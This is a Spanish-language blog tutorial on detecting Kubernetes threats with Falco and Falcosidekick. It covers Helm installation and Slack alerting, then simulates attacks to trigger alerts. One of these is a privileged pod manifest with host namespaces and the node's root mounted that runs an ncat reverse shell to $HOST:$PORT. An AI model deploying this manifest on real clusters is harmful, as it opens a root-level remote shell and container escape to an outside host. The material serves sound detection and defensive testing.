Runtime Security con Falco
Introducción
Falco es una herramienta de código abierto diseñada para proporcionar seguridad a las aplicaciones que se ejecutan en su clúster Kubernetes. Utiliza un conjunto de reglas para supervisar actividades y comportamientos con el fin de detectar posibles brechas de seguridad. Esta herramienta es una buena opción para una estrategia de defensa en profundidad.
Falco detecta amenazas en tiempo real, revisa y monitorea comportamientos en Nodos, Pods, Aplicaciones o la API de Kubernetes. Lo hace utilizando la información de las llamadas del sistema a Linux y los registros de auditoría de Kubernetes.
¿Que podemos detectar?
Por ejemplo estos serían unos casos de uso, interesantes:
Escalada de privilegios usando contenedores privilegiados
Intento de escape de contenedor cambiando namespaces de linux
Mutando Configmap con credenciales privadas
Mutando recursos en el espacio de nombres kube-system
Un nodo no confiable intentando unirse al cluster
Lecturas/Escrituras en directorios bien conocidos como /etc, /usr/bin, /usr/sbin, etc.
Cambios de propiedad y modo Linux
Conexiones de red inesperadas o mutaciones de socket
Creación de procesos mediante execve o ejecución de binarios de shell
Mutaciones en los ejecutables coreutils de Linux
Mutaciones de binarios de inicio de sesión
Un ataque clásico que podamos detectar puede ser el siguiente:
El atacante explota un RCE o Remote Code Execution en un aplicativo dentro del Pod.
Crea un Shell remoto, que puede ser detectado por la ejecución inesperada del mismo o una conexión de red.
Explora el sistema de archivos, donde podríamos evidenciar que esta "scroleando" por /etc y /usr.
Un descubrimiento de credenciales de Kubernetes.
Por último la creación de un contenedor privilegiado con propiedades de Root, que podríamos detectar por la creación del contenedor o el cambio de namespace.
Instalación de Falco vía Helm
Debes tener helm en tu host para poder hacer el deployment, en mi caso voy a usar mi cluster minikube. Lo voy a dejar por defecto, pero no seria mala idea hacerlo sobre un namespace específico.
## Add the stable chart to Helm repository
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm repo update
Hacemos el deployment de Falco, con Falcosidekick alimentando un Channel de Slack con solo los Warnings.
helm install falco -n falco falcosecurity/falco \
--set driver.kind=modern-bpf \
--set falcosidekick.enabled=true \
--set falcosidekick.webui.enabled=true \
--set auditLog.enabled=true \
--set falco.jsonOutput=true \
--set falco.fileOutput.enabled=true \
--set falcosidekick.config.slack.webhookurl="https://hooks.slack.com/services/XXX" \
--set falcosidekick.config.slack.minimumpriority="Warning" \
--create-namespace
Si quisieras saber como crear el webhook para que sidekick informe en Slack, te dejo este enlace.
Podrias revisar Falco con falcosidekick haciendo un Proxy, como te detallo a continuación.
kubectl port-forward -n falco service/falco-falcosidekick-ui 2802:2802
Luego con admin/admin en http://localhost:2802
Ya tenemos todo el stack listo. Hay muchas más cosas para jugar, por ejemplo: ¿Por qué no llevarlo a grafana? Para ello deberías leer sobre falco-exporter.
Simular Actividad Maliciosa
Vamos a crear un pod, para ver qué nos dice falco.
kubectl run alpine --image alpine -- sh -c "sleep infinity"
Uala! Slack enseguida nos avisa de que se levanto un container de manera no estipulada.
Podemos ver la alarma en Falcosidekick, logico.
Ahora vamos a desplegar un manifiesto que tiene un NetCat a ver que pasa 😉. Aca dejo el manifiesto, que lo voy a guardar como deploy.yaml.
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-revshell-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: raesene/ncat
command: [ "/bin/sh", "-c", "--" ]
args: [ "ncat --ssl $HOST $PORT -e /bin/bash;" ]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
volumes:
- name: noderoot
hostPath:
path: /
Aplicamos el manifiesto.
kubectl apply -f deploy.yaml
Uala! Peligro! Falco nos comenta que tenemos un contendor en nuestro nodo que tiene propiedades para crear una conexión remota.
La herramienta tiene infinidad de reglas para jugar. Si no lo comente se puede usar en Kubernetes o en On Premise. Aca podes revisar las reglas.
Respuesta a Incidentes
Hay muchas formas de responder a un incidente. Para que sigan explorando, les dejo este documento donde, utilizando Serverless, podemos responder a un evento de seguridad mediante un trigger. En el caso que presenté, levantar un contenedor con una imagen que no está homologada por nosotros, podemos usar una estrategia proactiva como lo que comento aquí, donde firmamos las imágenes con CoSign y Kyverno se encarga de prohibir el "pull" vía Admission Controller dentro de nuestro Cluster.
Referencias
Subscribe to my newsletter
Read articles from Santiago Fernandez directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Santiago Fernandez
Santiago Fernandez
I have a bachelor's degree in Technology from the University of Palermo, a Master in Information Security from the University of Murcia and different certifications such as CISSP | CISM | CDPSE | CCSK | CSX | MCSA | SMAC™️ | DSOE | DEPC | CSFPC | CSFPC | 5x AWS Certified. He is currently CISO at Klar, a Mexican Fintech. He was fortunate to be awarded as CISO of the Year in Argentina in 2021 and was among the Top 100 CISO's in the World in 2022. A lover of new technologies, he has developed a career in DevSecOps and Cloud Security at Eko Party, the largest security conference in Latin America.